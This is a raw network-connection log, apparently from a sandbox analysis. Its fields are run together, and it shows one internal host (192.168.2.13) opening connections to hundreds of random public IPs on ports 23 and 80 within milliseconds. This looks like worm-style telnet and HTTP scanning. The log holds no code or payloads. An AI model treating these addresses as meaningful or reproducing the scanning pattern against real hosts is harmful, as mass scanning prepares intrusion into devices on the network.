                                                  Feb 4, 2025 18:08:31.977083921 CET4527923192.168.2.1313.129.95.114
                                                  Feb 4, 2025 18:08:31.977091074 CET4527923192.168.2.13162.99.102.138
                                                  Feb 4, 2025 18:08:31.977092028 CET4527923192.168.2.13199.111.81.122
                                                  Feb 4, 2025 18:08:31.977094889 CET4527923192.168.2.1371.7.228.114
                                                  Feb 4, 2025 18:08:31.977097988 CET4527923192.168.2.1381.220.116.192
                                                  Feb 4, 2025 18:08:31.977102995 CET4527923192.168.2.13140.21.236.203
                                                  Feb 4, 2025 18:08:31.977102995 CET4527923192.168.2.13102.229.5.121
                                                  Feb 4, 2025 18:08:31.977104902 CET4527923192.168.2.13126.182.61.41
                                                  Feb 4, 2025 18:08:31.977104902 CET4527923192.168.2.13167.186.164.28
                                                  Feb 4, 2025 18:08:31.977114916 CET4527923192.168.2.1391.244.166.70
                                                  Feb 4, 2025 18:08:31.977114916 CET4527923192.168.2.13210.228.93.237
                                                  Feb 4, 2025 18:08:31.977127075 CET4527923192.168.2.13126.14.180.147
                                                  Feb 4, 2025 18:08:31.977128029 CET4527923192.168.2.135.90.64.229
                                                  Feb 4, 2025 18:08:31.977140903 CET4527923192.168.2.13101.121.206.12
                                                  Feb 4, 2025 18:08:31.977143049 CET4527923192.168.2.13148.132.231.198
                                                  Feb 4, 2025 18:08:31.977153063 CET4527923192.168.2.1372.152.114.84
                                                  Feb 4, 2025 18:08:31.977164030 CET4527923192.168.2.13135.7.111.12
                                                  Feb 4, 2025 18:08:31.977164030 CET4527923192.168.2.13142.3.50.161
                                                  Feb 4, 2025 18:08:31.977169991 CET4527923192.168.2.13187.93.70.162
                                                  Feb 4, 2025 18:08:31.977174997 CET4527923192.168.2.13158.110.252.230
                                                  Feb 4, 2025 18:08:31.977174997 CET4527923192.168.2.13191.53.32.174
                                                  Feb 4, 2025 18:08:31.977176905 CET4527923192.168.2.13203.230.131.157
                                                  Feb 4, 2025 18:08:31.977176905 CET4527923192.168.2.1376.128.232.195
                                                  Feb 4, 2025 18:08:31.977176905 CET4527923192.168.2.13210.213.10.221
                                                  Feb 4, 2025 18:08:31.977180958 CET4527923192.168.2.1338.226.189.50
                                                  Feb 4, 2025 18:08:31.977195978 CET4527923192.168.2.1363.65.83.143
                                                  Feb 4, 2025 18:08:31.977197886 CET4527923192.168.2.13126.180.147.229
                                                  Feb 4, 2025 18:08:31.977197886 CET4527923192.168.2.13188.1.143.179
                                                  Feb 4, 2025 18:08:31.977206945 CET4527923192.168.2.13116.174.64.17
                                                  Feb 4, 2025 18:08:31.977207899 CET4527923192.168.2.13100.181.70.217
                                                  Feb 4, 2025 18:08:31.977216959 CET4527923192.168.2.13123.147.0.244
                                                  Feb 4, 2025 18:08:31.977224112 CET4527923192.168.2.1354.121.115.207
                                                  Feb 4, 2025 18:08:31.977229118 CET4527923192.168.2.1386.223.159.79
                                                  Feb 4, 2025 18:08:31.977230072 CET4527923192.168.2.1348.168.157.168
                                                  Feb 4, 2025 18:08:31.977230072 CET4527923192.168.2.13172.73.102.6
                                                  Feb 4, 2025 18:08:31.977231026 CET4527923192.168.2.13104.124.240.4
                                                  Feb 4, 2025 18:08:31.977245092 CET4527923192.168.2.1363.54.215.250
                                                  Feb 4, 2025 18:08:31.977329969 CET4527923192.168.2.13211.49.222.53
                                                  Feb 4, 2025 18:08:31.977330923 CET4527923192.168.2.13221.106.172.61
                                                  Feb 4, 2025 18:08:31.977333069 CET4527923192.168.2.13122.202.172.19
                                                  Feb 4, 2025 18:08:31.977333069 CET4527923192.168.2.13167.87.34.34
                                                  Feb 4, 2025 18:08:31.977336884 CET4527923192.168.2.13223.29.214.125
                                                  Feb 4, 2025 18:08:31.977336884 CET4527923192.168.2.13187.182.128.0
                                                  Feb 4, 2025 18:08:31.977339983 CET4527923192.168.2.13131.8.243.65
                                                  Feb 4, 2025 18:08:31.977340937 CET4527923192.168.2.1325.205.15.165
                                                  Feb 4, 2025 18:08:31.977340937 CET4527923192.168.2.1389.59.5.99
                                                  Feb 4, 2025 18:08:31.977349043 CET4527923192.168.2.13131.154.74.49
                                                  Feb 4, 2025 18:08:31.977360964 CET4527923192.168.2.13125.210.230.165
                                                  Feb 4, 2025 18:08:31.977365017 CET4527923192.168.2.1359.143.67.157
                                                  Feb 4, 2025 18:08:31.978013039 CET4604780192.168.2.1371.254.86.222
                                                  Feb 4, 2025 18:08:31.978015900 CET4604780192.168.2.13125.8.35.222
                                                  Feb 4, 2025 18:08:31.978015900 CET4604780192.168.2.1390.189.86.28
                                                  Feb 4, 2025 18:08:31.978015900 CET4604780192.168.2.13220.145.17.85
                                                  Feb 4, 2025 18:08:31.978019953 CET4604780192.168.2.13125.199.150.163
                                                  Feb 4, 2025 18:08:31.978019953 CET4604780192.168.2.13163.92.122.221
                                                  Feb 4, 2025 18:08:31.978019953 CET4604780192.168.2.1382.211.15.34
                                                  Feb 4, 2025 18:08:31.978027105 CET4604780192.168.2.13115.19.111.194
                                                  Feb 4, 2025 18:08:31.978034019 CET4604780192.168.2.13129.221.41.125
                                                  Feb 4, 2025 18:08:31.978035927 CET4604780192.168.2.13142.173.161.60
                                                  Feb 4, 2025 18:08:31.978063107 CET4604780192.168.2.1379.119.8.72
                                                  Feb 4, 2025 18:08:31.978063107 CET4604780192.168.2.13203.164.51.116
                                                  Feb 4, 2025 18:08:31.978063107 CET4604780192.168.2.13123.234.65.104
                                                  Feb 4, 2025 18:08:31.978064060 CET4604780192.168.2.1353.39.254.138
                                                  Feb 4, 2025 18:08:31.978063107 CET4604780192.168.2.13210.142.223.118
                                                  Feb 4, 2025 18:08:31.978064060 CET4604780192.168.2.1376.35.218.150
                                                  Feb 4, 2025 18:08:31.978063107 CET4604780192.168.2.13146.26.113.194
                                                  Feb 4, 2025 18:08:31.978065968 CET4604780192.168.2.13136.144.77.221
                                                  Feb 4, 2025 18:08:31.978065968 CET4604780192.168.2.13135.173.189.57
                                                  Feb 4, 2025 18:08:31.978065968 CET4604780192.168.2.1334.105.64.81
                                                  Feb 4, 2025 18:08:31.978072882 CET4604780192.168.2.13115.6.97.127
                                                  Feb 4, 2025 18:08:31.978072882 CET4604780192.168.2.1334.106.225.159
                                                  Feb 4, 2025 18:08:31.978075027 CET4604780192.168.2.13154.129.176.21
                                                  Feb 4, 2025 18:08:31.978081942 CET4604780192.168.2.1331.80.193.118
                                                  Feb 4, 2025 18:08:31.978085041 CET4604780192.168.2.13197.146.6.52
                                                  Feb 4, 2025 18:08:31.978085041 CET4604780192.168.2.1386.33.52.125
                                                  Feb 4, 2025 18:08:31.978086948 CET4604780192.168.2.1312.15.33.75
                                                  Feb 4, 2025 18:08:31.978095055 CET4604780192.168.2.1347.84.188.172
                                                  Feb 4, 2025 18:08:31.978095055 CET4604780192.168.2.13210.199.157.41
                                                  Feb 4, 2025 18:08:31.978095055 CET4604780192.168.2.13173.230.166.102
                                                  Feb 4, 2025 18:08:31.978096962 CET4604780192.168.2.13156.59.90.21
                                                  Feb 4, 2025 18:08:31.978096962 CET4604780192.168.2.13131.181.122.161
                                                  Feb 4, 2025 18:08:31.978101015 CET4604780192.168.2.13186.233.208.111
                                                  Feb 4, 2025 18:08:31.978101015 CET4604780192.168.2.13154.18.217.238
                                                  Feb 4, 2025 18:08:31.978101015 CET4604780192.168.2.1379.173.166.3
                                                  Feb 4, 2025 18:08:31.978104115 CET4604780192.168.2.13156.190.132.68
                                                  Feb 4, 2025 18:08:31.978104115 CET4604780192.168.2.13207.219.175.253
                                                  Feb 4, 2025 18:08:31.978106022 CET4604780192.168.2.13179.14.174.238
                                                  Feb 4, 2025 18:08:31.978110075 CET4604780192.168.2.13137.3.235.134
                                                  Feb 4, 2025 18:08:31.978110075 CET4604780192.168.2.13175.218.196.41
                                                  Feb 4, 2025 18:08:31.978110075 CET4604780192.168.2.1399.77.210.27
                                                  Feb 4, 2025 18:08:31.978122950 CET4604780192.168.2.1369.43.202.12
                                                  Feb 4, 2025 18:08:31.978122950 CET4604780192.168.2.13221.122.109.184
                                                  Feb 4, 2025 18:08:31.978132963 CET4604780192.168.2.13164.35.45.42
                                                  Feb 4, 2025 18:08:31.978136063 CET4604780192.168.2.13190.75.73.77
                                                  Feb 4, 2025 18:08:31.978137016 CET4604780192.168.2.13186.166.97.202
                                                  Feb 4, 2025 18:08:31.978137016 CET4604780192.168.2.1335.255.207.212
                                                  Feb 4, 2025 18:08:31.978137970 CET4604780192.168.2.1365.10.135.180
                                                  Feb 4, 2025 18:08:31.978147030 CET4604780192.168.2.13152.95.251.69
                                                  Feb 4, 2025 18:08:31.978152037 CET4604780192.168.2.13141.207.51.27
                                                  Feb 4, 2025 18:08:31.978149891 CET4604780192.168.2.1350.136.91.89
                                                  Feb 4, 2025 18:08:31.978158951 CET4604780192.168.2.13183.76.184.149
                                                  Feb 4, 2025 18:08:31.978159904 CET4604780192.168.2.13197.129.120.71
                                                  Feb 4, 2025 18:08:31.978164911 CET4604780192.168.2.13169.124.189.28
                                                  Feb 4, 2025 18:08:31.978168964 CET4604780192.168.2.13179.181.137.232
                                                  Feb 4, 2025 18:08:31.978168964 CET4604780192.168.2.13181.197.17.79
                                                  Feb 4, 2025 18:08:31.978169918 CET4604780192.168.2.1381.33.228.73
                                                  Feb 4, 2025 18:08:31.978171110 CET4604780192.168.2.13129.159.172.100
                                                  Feb 4, 2025 18:08:31.978183985 CET4604780192.168.2.13130.120.157.226
                                                  Feb 4, 2025 18:08:31.978223085 CET4604780192.168.2.13156.26.94.146
                                                  Feb 4, 2025 18:08:31.978224039 CET4604780192.168.2.13169.105.60.100
                                                  Feb 4, 2025 18:08:31.978226900 CET4604780192.168.2.13122.113.250.13
                                                  Feb 4, 2025 18:08:31.978231907 CET4604780192.168.2.1336.167.178.118
                                                  Feb 4, 2025 18:08:31.978240967 CET4604780192.168.2.13176.193.73.92
                                                  Feb 4, 2025 18:08:31.978245974 CET4604780192.168.2.13132.83.44.20
                                                  Feb 4, 2025 18:08:31.978249073 CET4604780192.168.2.13200.45.208.118
                                                  Feb 4, 2025 18:08:31.978252888 CET4604780192.168.2.13179.122.49.148
                                                  Feb 4, 2025 18:08:31.978252888 CET4604780192.168.2.13189.51.213.145
                                                  Feb 4, 2025 18:08:31.978252888 CET4604780192.168.2.13188.56.141.212
                                                  Feb 4, 2025 18:08:31.978252888 CET4604780192.168.2.132.129.27.83
                                                  Feb 4, 2025 18:08:31.978255033 CET4604780192.168.2.1338.62.70.45
                                                  Feb 4, 2025 18:08:31.978265047 CET4604780192.168.2.1374.171.99.215
                                                  Feb 4, 2025 18:08:31.978270054 CET4604780192.168.2.13157.152.227.193
                                                  Feb 4, 2025 18:08:31.978291988 CET4604780192.168.2.1317.185.207.106
                                                  Feb 4, 2025 18:08:31.978291988 CET4604780192.168.2.1364.169.118.95
                                                  Feb 4, 2025 18:08:31.978295088 CET4604780192.168.2.1379.65.139.80
                                                  Feb 4, 2025 18:08:31.978295088 CET4604780192.168.2.1314.95.223.133
                                                  Feb 4, 2025 18:08:31.978298903 CET4604780192.168.2.13104.98.104.59
                                                  Feb 4, 2025 18:08:31.978311062 CET4604780192.168.2.1313.12.237.98
                                                  Feb 4, 2025 18:08:31.978316069 CET4604780192.168.2.1383.203.254.162
                                                  Feb 4, 2025 18:08:31.978316069 CET4604780192.168.2.13153.102.109.14
                                                  Feb 4, 2025 18:08:31.978316069 CET4604780192.168.2.13160.247.79.192
                                                  Feb 4, 2025 18:08:31.978331089 CET4604780192.168.2.1392.199.92.32
                                                  Feb 4, 2025 18:08:31.978331089 CET4604780192.168.2.13194.99.13.21
                                                  Feb 4, 2025 18:08:31.978334904 CET4604780192.168.2.1353.81.149.111
                                                  Feb 4, 2025 18:08:31.978334904 CET4604780192.168.2.13164.114.93.6
                                                  Feb 4, 2025 18:08:31.978339911 CET4604780192.168.2.1314.119.74.16
                                                  Feb 4, 2025 18:08:31.978342056 CET4604780192.168.2.1327.96.164.45
                                                  Feb 4, 2025 18:08:31.978359938 CET4604780192.168.2.13202.56.206.42
                                                  Feb 4, 2025 18:08:31.978359938 CET4604780192.168.2.13116.94.55.116
                                                  Feb 4, 2025 18:08:31.978363037 CET4604780192.168.2.1389.68.140.39
                                                  Feb 4, 2025 18:08:31.978363037 CET4604780192.168.2.13190.237.238.51
                                                  Feb 4, 2025 18:08:31.978369951 CET4604780192.168.2.13139.26.75.243
                                                  Feb 4, 2025 18:08:31.978379011 CET4604780192.168.2.1325.99.185.104
                                                  Feb 4, 2025 18:08:31.978384972 CET4604780192.168.2.1371.183.247.108
                                                  Feb 4, 2025 18:08:31.978384972 CET4604780192.168.2.1352.107.67.223
                                                  Feb 4, 2025 18:08:31.978389025 CET4604780192.168.2.13170.87.92.110
                                                  Feb 4, 2025 18:08:31.978393078 CET4604780192.168.2.13199.240.121.52
                                                  Feb 4, 2025 18:08:31.978395939 CET4604780192.168.2.13110.165.36.17
                                                  Feb 4, 2025 18:08:31.978405952 CET4604780192.168.2.13124.50.175.109
                                                  Feb 4, 2025 18:08:31.978414059 CET4604780192.168.2.1396.24.40.135
                                                  Feb 4, 2025 18:08:31.978415966 CET4604780192.168.2.1372.32.64.84
                                                  Feb 4, 2025 18:08:31.978415966 CET4604780192.168.2.13122.42.102.183
                                                  Feb 4, 2025 18:08:31.978415966 CET4604780192.168.2.13157.228.250.107
                                                  Feb 4, 2025 18:08:31.978418112 CET4604780192.168.2.13134.102.44.115
                                                  Feb 4, 2025 18:08:31.978420019 CET4604780192.168.2.13113.24.93.32
                                                  Feb 4, 2025 18:08:31.978425980 CET4604780192.168.2.13185.40.254.128
                                                  Feb 4, 2025 18:08:31.978426933 CET4604780192.168.2.13140.63.62.42
                                                  Feb 4, 2025 18:08:31.978435993 CET4604780192.168.2.13170.92.57.0
                                                  Feb 4, 2025 18:08:31.978471994 CET4604780192.168.2.13131.150.3.35
                                                  Feb 4, 2025 18:08:31.978475094 CET4604780192.168.2.13175.159.56.52
                                                  Feb 4, 2025 18:08:31.978475094 CET4604780192.168.2.1339.52.140.118
                                                  Feb 4, 2025 18:08:31.978482008 CET4604780192.168.2.1323.159.157.10
                                                  Feb 4, 2025 18:08:31.978482962 CET4604780192.168.2.1375.195.234.116
                                                  Feb 4, 2025 18:08:31.978494883 CET4604780192.168.2.1331.53.248.235
                                                  Feb 4, 2025 18:08:31.978496075 CET4604780192.168.2.1399.220.110.45
                                                  Feb 4, 2025 18:08:31.978496075 CET4604780192.168.2.13143.75.93.23
                                                  Feb 4, 2025 18:08:31.978502989 CET4604780192.168.2.1319.94.182.173
                                                  Feb 4, 2025 18:08:31.978502989 CET4604780192.168.2.1368.146.66.187
                                                  Feb 4, 2025 18:08:31.978504896 CET4604780192.168.2.13209.199.169.166
                                                  Feb 4, 2025 18:08:31.978511095 CET4604780192.168.2.132.147.248.146
                                                  Feb 4, 2025 18:08:31.978514910 CET4604780192.168.2.13216.52.113.177
                                                  Feb 4, 2025 18:08:31.978514910 CET4604780192.168.2.13147.146.221.123
                                                  Feb 4, 2025 18:08:31.978516102 CET4604780192.168.2.13143.226.151.79
                                                  Feb 4, 2025 18:08:31.978514910 CET4604780192.168.2.13131.109.205.2
                                                  Feb 4, 2025 18:08:31.978516102 CET4604780192.168.2.13105.0.204.211
                                                  Feb 4, 2025 18:08:31.978514910 CET4604780192.168.2.13176.48.230.124
                                                  Feb 4, 2025 18:08:31.978518009 CET4604780192.168.2.1370.70.143.67
                                                  Feb 4, 2025 18:08:31.978518009 CET4604780192.168.2.1340.121.151.132
                                                  Feb 4, 2025 18:08:31.978518963 CET4604780192.168.2.13149.194.23.52
                                                  Feb 4, 2025 18:08:31.978521109 CET4604780192.168.2.13219.243.149.152
                                                  Feb 4, 2025 18:08:31.978521109 CET4604780192.168.2.13123.62.184.113
                                                  Feb 4, 2025 18:08:31.978523970 CET4604780192.168.2.13141.185.123.179
                                                  Feb 4, 2025 18:08:31.978523970 CET4604780192.168.2.13222.255.131.197
                                                  Feb 4, 2025 18:08:31.978547096 CET4604780192.168.2.13137.121.234.34
                                                  Feb 4, 2025 18:08:31.978549004 CET4604780192.168.2.13182.27.34.119
                                                  Feb 4, 2025 18:08:31.978554010 CET4604780192.168.2.13138.230.1.208
                                                  Feb 4, 2025 18:08:31.978555918 CET4604780192.168.2.1325.66.40.161
                                                  Feb 4, 2025 18:08:31.978555918 CET4604780192.168.2.13157.90.219.194
                                                  Feb 4, 2025 18:08:31.978559017 CET4604780192.168.2.1376.48.11.227
                                                  Feb 4, 2025 18:08:31.978559017 CET4604780192.168.2.1376.135.131.159
                                                  Feb 4, 2025 18:08:31.978562117 CET4604780192.168.2.1331.28.13.104
                                                  Feb 4, 2025 18:08:31.978562117 CET4604780192.168.2.13136.117.115.8
                                                  Feb 4, 2025 18:08:31.978574038 CET4604780192.168.2.1351.81.67.183
                                                  Feb 4, 2025 18:08:31.978576899 CET4604780192.168.2.13178.130.162.67
                                                  Feb 4, 2025 18:08:31.978579998 CET4604780192.168.2.13119.30.8.18
                                                  Feb 4, 2025 18:08:31.978586912 CET4604780192.168.2.13173.92.206.183
                                                  Feb 4, 2025 18:08:31.978590012 CET4604780192.168.2.13221.220.205.34
                                                  Feb 4, 2025 18:08:31.978595972 CET4604780192.168.2.13163.204.119.58
                                                  Feb 4, 2025 18:08:31.978604078 CET4604780192.168.2.13170.130.83.89
                                                  Feb 4, 2025 18:08:31.978604078 CET4604780192.168.2.13140.135.195.155
                                                  Feb 4, 2025 18:08:31.978605032 CET4604780192.168.2.1350.45.176.46
                                                  Feb 4, 2025 18:08:31.978632927 CET4604780192.168.2.13207.175.73.247
                                                  Feb 4, 2025 18:08:31.978641033 CET4604780192.168.2.13195.45.157.106
                                                  Feb 4, 2025 18:08:31.978648901 CET4604780192.168.2.1361.79.5.217
                                                  Feb 4, 2025 18:08:31.978653908 CET4604780192.168.2.1327.51.172.12
                                                  Feb 4, 2025 18:08:31.978655100 CET4604780192.168.2.13157.53.200.220
                                                  Feb 4, 2025 18:08:31.978658915 CET4604780192.168.2.13162.248.100.133
                                                  Feb 4, 2025 18:08:31.978662014 CET4604780192.168.2.13112.49.208.38
                                                  Feb 4, 2025 18:08:31.978672028 CET4604780192.168.2.1347.252.120.171
                                                  Feb 4, 2025 18:08:31.978676081 CET4604780192.168.2.13184.246.209.255
                                                  Feb 4, 2025 18:08:31.978678942 CET4604780192.168.2.13104.236.160.251
                                                  Feb 4, 2025 18:08:31.978682995 CET4604780192.168.2.1323.0.119.66
                                                  Feb 4, 2025 18:08:31.978694916 CET4604780192.168.2.13110.27.9.183
                                                  Feb 4, 2025 18:08:31.978699923 CET4604780192.168.2.13205.251.246.11
                                                  Feb 4, 2025 18:08:31.978708029 CET4604780192.168.2.134.182.41.58
                                                  Feb 4, 2025 18:08:31.978709936 CET4604780192.168.2.13200.177.236.82
                                                  Feb 4, 2025 18:08:31.978713036 CET4604780192.168.2.13156.54.125.224
                                                  Feb 4, 2025 18:08:31.978725910 CET4604780192.168.2.1393.126.159.249
                                                  Feb 4, 2025 18:08:31.978729963 CET4604780192.168.2.1363.245.38.224
                                                  Feb 4, 2025 18:08:31.978729963 CET4604780192.168.2.1373.4.69.240
                                                  Feb 4, 2025 18:08:31.978734970 CET4604780192.168.2.13188.217.30.160
                                                  Feb 4, 2025 18:08:31.978738070 CET4604780192.168.2.1339.124.175.138
                                                  Feb 4, 2025 18:08:31.978759050 CET4604780192.168.2.1346.114.221.213
                                                  Feb 4, 2025 18:08:31.978764057 CET4604780192.168.2.1361.212.129.83
                                                  Feb 4, 2025 18:08:31.978765011 CET4604780192.168.2.1360.216.177.165
                                                  Feb 4, 2025 18:08:31.978764057 CET4604780192.168.2.13178.130.191.42
                                                  Feb 4, 2025 18:08:31.978765011 CET4604780192.168.2.13110.154.189.103
                                                  Feb 4, 2025 18:08:31.978764057 CET4604780192.168.2.13159.181.83.212
                                                  Feb 4, 2025 18:08:31.978765011 CET4604780192.168.2.13101.110.15.29
                                                  Feb 4, 2025 18:08:31.978765965 CET4604780192.168.2.1378.165.104.16
                                                  Feb 4, 2025 18:08:31.978771925 CET4604780192.168.2.13170.174.180.225
                                                  Feb 4, 2025 18:08:31.978771925 CET4604780192.168.2.13137.126.193.147
                                                  Feb 4, 2025 18:08:31.978779078 CET4604780192.168.2.1383.96.112.172
                                                  Feb 4, 2025 18:08:31.978791952 CET4604780192.168.2.1388.16.37.22
                                                  Feb 4, 2025 18:08:31.978820086 CET4604780192.168.2.13192.207.172.161
                                                  Feb 4, 2025 18:08:31.978820086 CET4604780192.168.2.13142.221.236.204
                                                  Feb 4, 2025 18:08:31.978821039 CET4604780192.168.2.1346.138.29.99
                                                  Feb 4, 2025 18:08:31.978823900 CET4604780192.168.2.1339.106.29.41
                                                  Feb 4, 2025 18:08:31.978826046 CET4604780192.168.2.13115.133.170.55
                                                  Feb 4, 2025 18:08:31.978832006 CET4604780192.168.2.13163.76.34.168
                                                  Feb 4, 2025 18:08:31.978833914 CET4604780192.168.2.13120.121.13.223
                                                  Feb 4, 2025 18:08:31.978835106 CET4604780192.168.2.13111.79.99.58
                                                  Feb 4, 2025 18:08:31.978835106 CET4604780192.168.2.1364.124.168.109
                                                  Feb 4, 2025 18:08:31.978847027 CET4604780192.168.2.1392.116.4.213
                                                  Feb 4, 2025 18:08:31.978848934 CET4604780192.168.2.1317.235.122.178
                                                  Feb 4, 2025 18:08:31.978852987 CET4604780192.168.2.1380.81.107.62
                                                  Feb 4, 2025 18:08:31.978853941 CET4604780192.168.2.13155.11.244.140
                                                  Feb 4, 2025 18:08:31.978856087 CET4604780192.168.2.1392.173.250.0
                                                  Feb 4, 2025 18:08:31.978856087 CET4604780192.168.2.1337.239.65.208
                                                  Feb 4, 2025 18:08:31.978864908 CET4604780192.168.2.13142.55.34.99
                                                  Feb 4, 2025 18:08:31.978872061 CET4604780192.168.2.13194.245.184.112
                                                  Feb 4, 2025 18:08:31.978878021 CET4604780192.168.2.13118.188.64.61
                                                  Feb 4, 2025 18:08:31.978899002 CET4604780192.168.2.1382.173.193.100
                                                  Feb 4, 2025 18:08:31.978900909 CET4604780192.168.2.1365.69.75.232
                                                  Feb 4, 2025 18:08:31.978900909 CET4604780192.168.2.1381.127.53.188
                                                  Feb 4, 2025 18:08:31.978904963 CET4604780192.168.2.1339.164.13.8
                                                  Feb 4, 2025 18:08:31.978904963 CET4604780192.168.2.13102.126.171.22
                                                  Feb 4, 2025 18:08:31.978913069 CET4604780192.168.2.135.103.150.62
                                                  Feb 4, 2025 18:08:31.978919029 CET4604780192.168.2.1399.92.170.21
                                                  Feb 4, 2025 18:08:31.978919029 CET4604780192.168.2.13209.38.72.195
                                                  Feb 4, 2025 18:08:31.978931904 CET4604780192.168.2.1373.43.81.38
                                                  Feb 4, 2025 18:08:31.978935957 CET4604780192.168.2.1331.158.164.180
                                                  Feb 4, 2025 18:08:31.978940964 CET4604780192.168.2.1396.234.149.131
                                                  Feb 4, 2025 18:08:31.978950024 CET4604780192.168.2.1363.203.184.231
                                                  Feb 4, 2025 18:08:31.978950024 CET4604780192.168.2.13139.27.253.107
                                                  Feb 4, 2025 18:08:31.978951931 CET4604780192.168.2.13155.165.108.218
                                                  Feb 4, 2025 18:08:31.978965998 CET4604780192.168.2.1385.23.216.167
                                                  Feb 4, 2025 18:08:31.978967905 CET4604780192.168.2.1339.170.84.128
                                                  Feb 4, 2025 18:08:31.978971958 CET4604780192.168.2.13222.122.84.16
                                                  Feb 4, 2025 18:08:31.978972912 CET4604780192.168.2.1370.183.216.172
                                                  Feb 4, 2025 18:08:31.978988886 CET4604780192.168.2.1397.156.45.87
                                                  Feb 4, 2025 18:08:31.978991032 CET4604780192.168.2.1370.64.122.135
                                                  Feb 4, 2025 18:08:31.978991032 CET4604780192.168.2.13212.76.68.188
                                                  Feb 4, 2025 18:08:31.978992939 CET4604780192.168.2.13147.33.92.117
                                                  Feb 4, 2025 18:08:31.978993893 CET4604780192.168.2.1397.193.239.80
                                                  Feb 4, 2025 18:08:31.979005098 CET4604780192.168.2.13149.88.188.94
                                                  Feb 4, 2025 18:08:31.979017973 CET4604780192.168.2.13210.139.105.43
                                                  Feb 4, 2025 18:08:31.979017973 CET4604780192.168.2.13137.21.157.152
                                                  Feb 4, 2025 18:08:31.979017973 CET4604780192.168.2.1352.228.166.120
                                                  Feb 4, 2025 18:08:31.979023933 CET4604780192.168.2.13176.240.165.229
                                                  Feb 4, 2025 18:08:31.979024887 CET4604780192.168.2.13198.244.241.158
                                                  Feb 4, 2025 18:08:31.979024887 CET4604780192.168.2.1341.166.157.224
                                                  Feb 4, 2025 18:08:31.979032040 CET4604780192.168.2.13122.229.28.33
                                                  Feb 4, 2025 18:08:31.979036093 CET4604780192.168.2.13143.139.218.27
                                                  Feb 4, 2025 18:08:31.979049921 CET4604780192.168.2.1343.196.15.8
                                                  Feb 4, 2025 18:08:31.979080915 CET4604780192.168.2.13115.185.98.153
                                                  Feb 4, 2025 18:08:31.979089022 CET4604780192.168.2.13195.153.20.223
                                                  Feb 4, 2025 18:08:31.979093075 CET4604780192.168.2.1364.152.115.63
                                                  Feb 4, 2025 18:08:31.979094028 CET4604780192.168.2.13126.106.79.155
                                                  Feb 4, 2025 18:08:31.979094028 CET4604780192.168.2.1348.168.228.227
                                                  Feb 4, 2025 18:08:31.979113102 CET4604780192.168.2.13182.143.130.66
                                                  Feb 4, 2025 18:08:31.979120016 CET4604780192.168.2.1376.220.131.40
                                                  Feb 4, 2025 18:08:31.979120016 CET4604780192.168.2.13101.139.149.160
                                                  Feb 4, 2025 18:08:31.979120970 CET4604780192.168.2.13162.32.134.88
                                                  Feb 4, 2025 18:08:31.979123116 CET4604780192.168.2.1385.242.94.184
                                                  Feb 4, 2025 18:08:31.979125023 CET4604780192.168.2.1325.168.195.218
                                                  Feb 4, 2025 18:08:31.979140043 CET4604780192.168.2.13124.12.67.102
                                                  Feb 4, 2025 18:08:31.979140043 CET4604780192.168.2.1348.74.56.208
                                                  Feb 4, 2025 18:08:31.979142904 CET4604780192.168.2.13168.171.223.207
                                                  Feb 4, 2025 18:08:31.979142904 CET4604780192.168.2.1337.74.32.156
                                                  Feb 4, 2025 18:08:31.979144096 CET4604780192.168.2.13143.70.233.111
                                                  Feb 4, 2025 18:08:31.979145050 CET4604780192.168.2.13189.156.204.160
                                                  Feb 4, 2025 18:08:31.979152918 CET4604780192.168.2.1362.59.48.222
                                                  Feb 4, 2025 18:08:31.979161978 CET4604780192.168.2.1331.146.82.56
                                                  Feb 4, 2025 18:08:31.979165077 CET4604780192.168.2.1399.91.229.150
                                                  Feb 4, 2025 18:08:31.979170084 CET4604780192.168.2.13105.106.255.116
                                                  Feb 4, 2025 18:08:31.979171038 CET4604780192.168.2.1353.203.121.154
                                                  Feb 4, 2025 18:08:31.979176044 CET4604780192.168.2.1324.191.85.67
                                                  Feb 4, 2025 18:08:31.979176044 CET4604780192.168.2.1320.108.183.236
                                                  Feb 4, 2025 18:08:31.979176044 CET4604780192.168.2.13199.65.185.127
                                                  Feb 4, 2025 18:08:31.979192019 CET4604780192.168.2.13153.167.153.137
                                                  Feb 4, 2025 18:08:31.979195118 CET4604780192.168.2.13119.238.40.121
                                                  Feb 4, 2025 18:08:31.979208946 CET4604780192.168.2.13210.180.255.46
                                                  Feb 4, 2025 18:08:31.979208946 CET4604780192.168.2.1373.19.231.141
                                                  Feb 4, 2025 18:08:31.979223013 CET4604780192.168.2.13176.179.113.199
                                                  Feb 4, 2025 18:08:31.979224920 CET4604780192.168.2.13112.19.212.176
                                                  Feb 4, 2025 18:08:31.979228973 CET4604780192.168.2.13151.234.234.198
                                                  Feb 4, 2025 18:08:31.979243994 CET4604780192.168.2.1394.181.171.204
                                                  Feb 4, 2025 18:08:31.979243994 CET4604780192.168.2.138.56.35.201
                                                  Feb 4, 2025 18:08:31.979247093 CET4604780192.168.2.13179.135.182.191
                                                  Feb 4, 2025 18:08:31.979247093 CET4604780192.168.2.13155.230.180.181
                                                  Feb 4, 2025 18:08:31.979252100 CET4604780192.168.2.13220.163.204.99
                                                  Feb 4, 2025 18:08:31.979258060 CET4604780192.168.2.13161.124.229.166
                                                  Feb 4, 2025 18:08:31.979264975 CET4604780192.168.2.13216.46.112.140
                                                  Feb 4, 2025 18:08:31.979268074 CET4604780192.168.2.13150.135.43.11
                                                  Feb 4, 2025 18:08:31.979269028 CET4604780192.168.2.13184.55.113.169
                                                  Feb 4, 2025 18:08:31.979274035 CET4604780192.168.2.13148.249.59.106
                                                  Feb 4, 2025 18:08:31.979289055 CET4604780192.168.2.1340.151.206.125
                                                  Feb 4, 2025 18:08:31.979294062 CET4604780192.168.2.13103.78.210.134
                                                  Feb 4, 2025 18:08:31.979294062 CET4604780192.168.2.1385.161.97.120
                                                  Feb 4, 2025 18:08:31.979300022 CET4604780192.168.2.1342.188.142.193
                                                  Feb 4, 2025 18:08:31.979319096 CET4604780192.168.2.1358.80.231.96
                                                  Feb 4, 2025 18:08:31.979320049 CET4604780192.168.2.13150.243.24.8
                                                  Feb 4, 2025 18:08:31.979321003 CET4604780192.168.2.13204.115.38.92
                                                  Feb 4, 2025 18:08:31.979321003 CET4604780192.168.2.13208.215.68.230
                                                  Feb 4, 2025 18:08:31.979326963 CET4604780192.168.2.13192.6.76.218
                                                  Feb 4, 2025 18:08:31.979331017 CET4604780192.168.2.13183.47.199.207
                                                  Feb 4, 2025 18:08:31.979342937 CET4604780192.168.2.13171.240.243.114
                                                  Feb 4, 2025 18:08:31.979348898 CET4604780192.168.2.1365.239.64.90
                                                  Feb 4, 2025 18:08:31.979351044 CET4604780192.168.2.13125.110.23.227
                                                  Feb 4, 2025 18:08:31.979355097 CET4604780192.168.2.1378.177.231.205
